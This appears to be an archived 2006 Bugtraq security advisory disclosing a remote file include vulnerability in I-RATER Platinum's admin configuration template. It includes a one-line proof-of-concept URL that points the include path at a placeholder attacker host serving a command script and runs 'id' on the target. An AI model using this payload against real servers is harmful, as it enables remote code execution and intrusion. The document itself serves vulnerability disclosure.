[Kurdish Secure Advisory #1] I-RATER Platinum "Admin/configsettings.tpl.php" Remote File Include Vulnerability

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: [Kurdish Secure Advisory #1] I-RATER Platinum "Admin/configsettings.tpl.php" Remote File Include Vulnerability
From: botan@xxxxxxxxxxxxx
Date: 28 Apr 2006 12:13:31 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

Website : http://www.i-rater.com
Risk : High
Class : Remote
References :
http://www.securityfocus.com/bid/17623
Credits : B3g0k,Nistiman,Flot,Netqurd and all my friend

Remote Code :

http://www.site.com/admin/config_settings.tpl.php?include_path=http://www.evilrox.com/cmd.txt?&cmd=id

Prev by Date: Re: Recent Oracle exploit is _actually_ an 0day with no patch
Next by Date: Re: VWar Path Disclosure
Previous by thread: Neomail.pl Local Cross Site Scripting
Next by thread: Invision Power Board 2.1.5 POC
Index(es):
- Date
- Thread